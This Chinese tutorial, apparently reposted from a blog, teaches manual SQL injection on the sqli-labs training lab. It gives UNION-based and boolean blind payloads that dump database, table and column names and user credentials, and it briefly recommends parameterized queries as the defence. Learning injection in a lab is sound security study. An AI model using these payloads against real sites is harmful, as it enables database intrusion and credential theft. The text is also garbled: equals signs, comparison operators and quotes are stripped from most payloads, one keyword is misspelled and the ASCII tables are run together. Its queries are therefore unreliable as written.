联合注入及布尔型盲注基础流程(手注sqli-labs-master)
SQL 注入的核心原理一句话概括攻击者通过在输入框或 URL 参数中输入恶意的 SQL 代码让数据库“误以为”这是正常的指令并执行从而泄露数据。联合注入(UNION-based Injection)联合注入是 SQL 注入中最常见、也最容易理解的一种攻击方式。它的核心武器是 SQL 中的 UNION 操作符。UNION 的作用UNION 的作用是把两个 SELECT 查询的结果集合并在一起。第一步判断注入点与闭合方式?id1 查看网页反馈存在注入第二步猜解列数 (ORDER BY)普通用途让结果集按某种顺序显示。注入用途ORDER BY 是探测“列数”的神器。只有先确定了列数你才能正确地使用 UNION SELECT 进行后续的攻击。测试?id1 ORDER BY 4 (页面不正常) -- - 说明没有4 列?id1 ORDER BY 3 (页面正常) -- - 说明至少3 列第三步脱库 (获取数据)目标利用确定的回显位把数据库里的敏感信息“换”出来。这是最后也是最爽的一步通常分为三个层级1.查库名把回显位的数字换成 database()2.查表名查询 information_schema.tables?id-1 UNION SELECT 1,2, group_concat(table_name) form information_schema.columns WHERE table_schemadatabase() --group_concat:“把查出来的几十张表名从‘多行’压缩成‘一行’用逗号隔开。3.查字段名?id-1 UNION SELECT 1,2 group_concat(column_name) from information_schema.columns WHERE table_nameusers --4.查具体数据查到字段比如 username, password后直接查询数据。?id-1 UNION SELECT 1,2group_concat(username,0x3a, password) FROM users --联合注入产生的三个必要条件1.代码层面的“不设防”字符串拼接后端代码在写SQL语句时偷懒直接把用户输入的参数“粘”进了查询语句里而不是使用安全的“参数化查询”预编译。2.攻击层面的“篡改”恶意输入因为代码没做过滤攻击者输入的不是普通的数字或文字而是SQL指令片段比如 UNION SELECT ...。当这些片段被拼接到原语句中时原本完整的SQL语句结构被破坏攻击者注入的“毒指令”成功闭合了引号成为了SQL语句的一部分。3.结果层面的“回显”数据合并这是联合注入区别于其他注入的关键。数据库执行了被篡改后的语句利用 UNION 操作符的特性把攻击者查询的结果比如密码表和原本查询的结果比如商品信息合并在一起并且直接显示在了网页上。预防参数化查询通过“代码与数据分离”剥夺了攻击者修改 SQL 逻辑布尔盲注和执行系统命令时间盲注的权力。在布尔盲注中它让攻击者的逻辑判断变成了死文本。在时间盲注中它让攻击者的延时函数变成了死字符。所以不管攻击者想玩什么花样联合、盲注、堆叠注入只要用了参数化查询所有的恶意输入都会被“关进盒子”里变成无害的数据这才是真正的“降维打击”。布尔型盲注特点看不见数据库内容但是可以通过提出逻辑真假问题来猜数据库的内容在实操布尔型盲注先要知道ascii码数字0-948-57字符ASCII 码 (十进制)048149250351452553654755856957大写字母 A - Z78-90字符ASCII 码 (十进制)字符ASCII 码 (十进制)A65N78B66O79C67P80D68Q81E69R82F70S83G71T84H72U85I73V86J74W87K75X88L76Y89M77Z90小写字母 a - z97-122小写和大写字母差了32字符ASCII 码 (十进制)字符ASCII 码 (十进制)a97n110b98o111c99p112d100q113e101r114f102s115g103t116h104u117i105v118j106w119k107x120l108y121m109z122第一阶段定真假确认漏洞?id1来测试页面真假发现显示了You are in...... (真)?id1通过闭合发现内容是空白假第二阶段爆库表 reconnaissance目标拿到数据库名、表名。核心工具LENGTH()测长度和 SUBSTR()猜字符。. 爆当前数据库名1.爆库1.猜长度?id1 AND LENGTH(DATABASE()) 10 --不断修改数字直到页面变“真”确定长度是 4。?id1 AND LENGTH(DATABASE()) 5 -- 这属于二分法区大概区间之后不断缩小范围区间一共是8个字符2.猜字符第一个字符115s第二个字符101e第三个字符是99c第四个字符是117u第五个字符是114r第六个字符是105i第七个字符是116t第八个字符是121y 拼接起来就是security2.猜列表1.先猜长度LIMIT 的格式是LIMIT [起始位置], [获取数量]前面的 0代表从第几行开始就像书的页码0 是第一页。后面的 1代表拿几行就像一次只读一页。http://127.0.0.1/sqli-labs-master/Less-8/?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 3,1)) 5 --2.猜字母http://127.0.0.1/sqli-labs-master/Less-8/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 3,1),1,1)) 117 --117u115s101e114r115s 最后这个表名是users3.猜字段名1.猜长度http://127.0.0.1/sqli-labs-master/Less-8/?id1 and length ((select column_name from information_schema.columns where table_nameusers limit 3,1)) 4 --2.猜字段名http://127.0.0.1/sqli-labs-master/Less-8/?id1 and ascii (substr((select column_name from information_schema.columns where table_nameusers limit 3,1),1,1)) 117 --117之后的流程都是相仿的都是1.先确认长度2.在猜ascii字符4.猜解密码字段1.在开始猜密码之前先确定密码有多长比如 MD5 通常是 32 位。?id1 and length((select password from users limit 0,1)) 30 --2.猜解密码的具体内容逐字爆破?id1 and ascii(substr((select password from users limit 0,1),1,1)) 100 --参数详解select password from users我们要查的数据源。limit 0,1锁定第 1 个用户如果是第 2 个用户改成 1,1。substr(..., 1, 1)截取密码的第 1 个字符猜第 2 个字符就改成 ,2,1)。ascii(...) 100判断这个字符的 ASCII 码是否大于 100比如 f 是 102a 是 97。同时猜解用户名可选如果你想顺便把用户名也猜出来逻辑是一样的只是把 password 换成 username。猜第 1 个用户的用户名第 1 位?id1 and ascii(substr((select username from users limit 0,1),1,1)) 100 --
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2497269.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!